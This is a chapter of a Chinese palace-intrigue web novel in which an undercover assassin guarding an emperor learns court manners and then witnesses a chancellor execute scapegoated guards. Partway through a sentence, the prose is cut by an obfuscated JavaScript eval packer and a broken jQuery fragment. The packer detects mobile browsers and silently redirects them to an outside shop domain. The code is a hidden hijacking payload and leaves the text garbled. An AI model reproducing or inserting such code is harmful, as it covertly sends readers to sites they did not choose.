晏桓看着他狼吞虎咽的模样,有些头疼地按了按太阳穴。
……简直是对牛弹琴。
他现在开始怀疑策反檐上雪究竟是不是个正确的决定。
晏桓用指节敲了敲桌面:“慢点吃,你是急着去杀人,还是赶着去送死?有老虎在屁股后面追你不成?”
奚凛一顿。
他不太理解地抬头看了眼皇帝,又看了眼候在一旁似乎有什么话想说的云礼,后者冲他点了点头,示意他照做。
所以……之前他吃完饭率先离席,皇帝问他“几天没吃饭了”,是嫌弃他吃得太快?小内侍说的那番话,是在帮他打圆场?
奚凛终于后知后觉地明白过来什么,经过这些天的耳濡目染,看过左右相和皇帝之间如何勾心斗角,他开始逐渐理解安国人的说话方式了。
赞成不一定是赞成,很可能是反对,反对也不一定是反对,很可能是赞成。
夸赞可能是挖苦,关切也许是揶揄。
……干完这票,他还是赶紧回夏国吧。
奚凛端起碗,准备将碗里的汤一饮而尽,想起皇帝刚命令他吃慢点,迟疑了一下,又放下了。
但是说到底,这种事真是这么容易改变的吗?
血河对刺客的训练极其严苛,尤其是像他这种,自幼在血河长大,按照“甲级”标准来培养的刺客,每日什么时辰起床,什么时辰训练,什么时辰吃饭、休息都有严格要求,如有违反,便是一顿毒打。
吃饭的时间只有一刻钟,时间一到,不论吃没吃完,都会被强行收走饭碗,就算没吃饱也不会有人理会,只能饿着肚子继续训练。
久而久之,吃饭的意义早不在于品尝食物,仅仅是为了裹腹,为了更好地完成任务而已,不论是好吃、难吃、烫的、冷的,他都能面不改色地吞下去。
当了这么多年刺客,从来只有人催他吃快点,还没有谁会逼他吃慢点。
……不,也并非完全没有。
师父在他六岁时离开了血河,在那之前,他一直是跟着师父习武的,师父传授他武艺的方式和血河截然不同,那时他只是每日跟着师父在山里玩耍,下河摸鱼、射杀野兔、追逐林鹿,再砍柴生火烹制野味……不知不觉间,武艺便突飞猛进。
这些幼时的记忆对现在的他来说已经非常模糊,今日方才想起,那时他总是想着去玩,吃饭吃得非常潦草,常常胡乱将食物往嘴里一塞,手里便又摸起弹弓要去打鸟了,每当这种时候,师父都会压着他的肩膀把他按在原地,再摸摸他的头,说一句“慢点吃,师父烧的饭有那么难吃吗”。
彼时他总是不理解,师父为何总要让他细嚼慢咽,后来,却再也没机会理解了。
真奇怪,这安帝分明是他的刺杀目标,为何会说出和师父一样的话?
“怎么?”见他半晌不动,晏桓眉尾微挑,“让你慢点吃,你就不会吃饭了?”
奚凛:“……”
他听出来了,这句是挖苦。
但不知道是不是赵让仪太可恨的原因,他竟觉得安帝这人也没那么讨厌了。
“我不管之前你在军中,赵让仪怎么要求你们,只要你在我身边做事,就得按照我说的来——可听明白了?”晏桓又道。
奚凛没搭理他,只捧起碗,小小地吸溜了一口。
晏桓眉头一皱:“……莫出声。”
奚凛:“。”
事真多。
这次他一直陪到皇帝吃完了才吃完,见对面的人放下筷子,自己也跟着喝光了碗里最后一口汤。
正要起身离席,却见对方又拿起手帕擦了擦嘴,清茶漱口,再在内侍端上的水盆中清洗双手。
奚凛只好有样学样,也跟着擦嘴、漱口、净手……随后终于听到晏桓吩咐:“撤下吧。”
奚凛长舒一口气。
可算是能离席了。
晏桓瞥他一眼,唇角微微翘起。
总归是块璞玉,并非真是块顽石。
今日休沐,奚凛也不知道安帝接下来要干什么,是又去湖边钓鱼,还是去书房批折子,或者叫哪个大臣来商议政事……他在内心祈祷是后两种,那样他就可以回避,去门口值守了。
万万没想到,晏桓斟酌片刻,开口却说:“我记得昨晚我说过,要罚你。”
奚凛:“……?”
都陪他吃饭了,怎么还不依不饶的,堂堂一国之君,竟如此记仇。
不就是没拦住刺客吗……虽然刺客是他自己。
“依照军法罚你,甚是无趣,”晏桓道,“听右相说,你身手不俗,武艺过人,能吓退檐上雪,想必有些真本事。”
他说着伸手一指:“去,给孤耍套刀来看,孤倒是要看看,你这带刀御侍是否名副其实。”
奚凛满头雾水,一脸疑惑地看着他。
这也算“罚”?
虽然不理解,但他还是选择了照做,去门口舞刀。
可惜这些年来他所学刀法都是用来杀人的,也不知道怎样挥刀更赏心悦目,能让安帝满意,只得使出浑身解数,对着面前的空气撩、刺、劈、砍。
晏桓命人搬了把躺椅放在门口,懒洋洋地靠着椅背,看奚凛舞刀。
这刀法实在谈不上有什么美感,一招一式尽是杀意。
看了一会儿,他唤来云礼:“去添个火盆来。”
日头一点点高了起来,寒冬腊月,奚凛却舞刀舞出了一身热汗,皇帝没吩咐,他也不敢停,握刀的手略显迟滞,动作比之前慢了许多,开始微微气喘。
耳中忽然听到了脚步声,统领皇帝亲卫的魏将军快步而来,看到殿前刀光四射,诧异道:“你这干什么呢?”
奚凛停下刀势:“陛下让我舞刀。”
“……你这舞的是哪门子刀?”魏将军上下着打量他,“右相麾下将士学的都是这种刀法?”
奚凛:“……”
魏将军正觉得奇怪,想再细问两句,却听到大殿里传来皇帝的声音:“魏骞。”
魏骞只得暂时放弃追问,快步进了殿内:“陛下,臣已带队在宫里搜了两圈,还是没找到那刺客,要继续搜吗?”
奚·抓不到的刺客·凛还刀入鞘,也跟着入了殿,就看到皇帝倚在躺椅上,烤着火看着书,神态惬意,语调懒散,根本没在看他舞刀。
“不必了,赵让仪的事,让他自己去办,你们还和往常一样,该干什么干什么。”晏桓摆摆手,示意魏骞退下。
“是。”魏骞领命而去。
晏桓看向杵在一旁的奚凛:“怎么不舞了?”
奚凛:“口渴。”
晏桓轻嗤一声,示意他桌上有茶让他自己倒,随后便不再搭理他,又将书翻过一页,看得甚是投入。
奚凛自己给自己倒了杯茶,大口猛灌解了口渴,又去倒第二杯,拿起茶壶时一个“不小心”,将桌上放着的另一卷书碰落了。
好巧不巧,正掉在火盆里。
前一刻还在不紧不慢翻书的晏桓猛地翻身坐起,从火盆中一把抢回险些烧着的书,迅速用衣袖扑灭了书角燎起的一簇火星,皱眉看向奚凛:“做什么?”
“……属下不是故意的。”奚凛道。
晏桓眯了眯眼,呵斥道:“出去。”
奚凛求之不得。
总算摆脱了讨人厌的皇帝,还白喝了他两盏茶,奚凛神清气爽地离开承春殿,准备洗个澡换身衣服。
还没走远,又看到有人往这边而来——是赵让仪。
身后还带着一队披甲带刀的卫兵,奚凛脚步一停,昨夜偷听到的消息犹在耳畔,让他下意识以为这位右相要逼宫造反。
手按住刀柄,他闪身躲在了廊柱后面,偷偷向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616359|206083||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前张望,对方离得近了,他才看清原来那队卫兵正押解着什么人。
奚凛屏住呼吸,凝神观望,卫兵们停在了殿外,赵让仪只身入内:“陛下。”
晏桓坐起身:“何事?”
“臣连夜审讯了麾下将士,揪出了那几个吃里扒外的家伙,连夜审讯一番,他们已经招了。”
他招招手,示意卫兵把人押进来,几个血刺呼啦的人犯被推进殿中,踉跄着跪倒在晏桓面前。
浓重的血腥味扑面而来,晏桓看着那几个快要不成人形的人犯,以袖掩鼻,皱眉道:“何至于动此大刑?”
“几个硬骨头,费了点力气,”赵让仪从袖子里拿出一个钱袋,打开来,里面是金灿灿的黄金,“他们收了那刺客的同伙三十两金子,财迷心窍,宫禁搜查时放了水,让那刺客混在送菜的牛车里进了宫。”
他将钱袋递给晏桓:“人赃并获。”
晏桓伸手接过,拨弄了一下里面的金子:“‘同伙’?右相的意思是,檐上雪此次来我安国行刺,并非孤身一人,还有人在背后助他?”
“自然,”赵让仪道,“血河的据点遍布四国,先前臣就命人查探过,但……这些刺客皆善易容,查起来实在困难,所以自始至终也没什么线索。”
晏桓:“这次可有线索?”
“有,”赵让仪压低了声音,“据他们几个交代,与他们接头的,是鸿福客栈一个跑堂的小二,在送酒时传递的消息,故臣推测,这鸿福客栈,极有可能就是血河在大安的据点。”
奚凛:“!”
“陛下,可需要臣现在带兵围了鸿福客栈,将这些血河刺客一网打尽?”赵让仪问。
奚凛缓缓拔刀出鞘,几乎要当场行刺,正在这时,却听得晏桓开口道:“不。”
奚凛动作一停。
晏桓站起身来,负手踱步道:“现在端掉血河据点,不明智,一来檐上雪下落不明,极有可能还在宫中,我们围剿鸿福客栈,无异于打草惊蛇,不论他趁乱逃脱,还是因退路已断,做出什么过激之举,于我们而言都没好处。”
“二来,这鸿福客栈在洛城经营了十几年,始终规规矩矩,不论入京述职的臣子,还是往来客商,都会在此歇脚,右相,你当真确定此处藏着血河刺客?”
晏桓指了指地上跪着的人犯:“这几个将死之人,胡乱攀咬也并非不可能,又或者,那店小二也只是受人所托——如此武断,实在不妥吧?”
“陛下所言极是,”赵让仪道,“既如此,那臣便继续暗中探查,看看这鸿福客栈究竟干不干净。”
晏桓点点头:“这两日满城搜捕刺客,已是人心惶惶,若是再贸然查封鸿福客栈,只会让百姓们人人自危,赵卿,让你的人收敛些,别闹得太过了。”
“是,臣这就吩咐下去,”赵让仪道,“那这几个人……”
“既是你的人,你便自行处置吧。”
“谢陛下。”
几个人犯被拖出殿外,赵让仪吩咐道:“速去砍了,拖远些,别碍着陛下的眼。”
一队卫兵很快远去,而后隐隐传来人头落地之声。
奚凛:“……”
方才他们被拖下去时,他看到了其中一个人的脸,虽然满脸血污,但他还是认出来了,正是那天他进宫时,负责搜查牛车的一个卫兵。
他们放刺客进宫,分明是赵让仪的意思,可现在这几个人却成了替罪羊,毫不留情地被拉去斩首。
他甚至没听到他们求饶、辩解,只怕不是人赃并获,而是屈打成招,不得不替赵让仪扛下这罪名。
好一个安国右丞相,阴险歹毒至此。
三日之内,他必让他血溅宫闱。
奚凛轻身而去,晏桓缓缓迈过门槛,望着那个迅速远去的背影。
他思忖片刻,微不可闻地轻叹口气。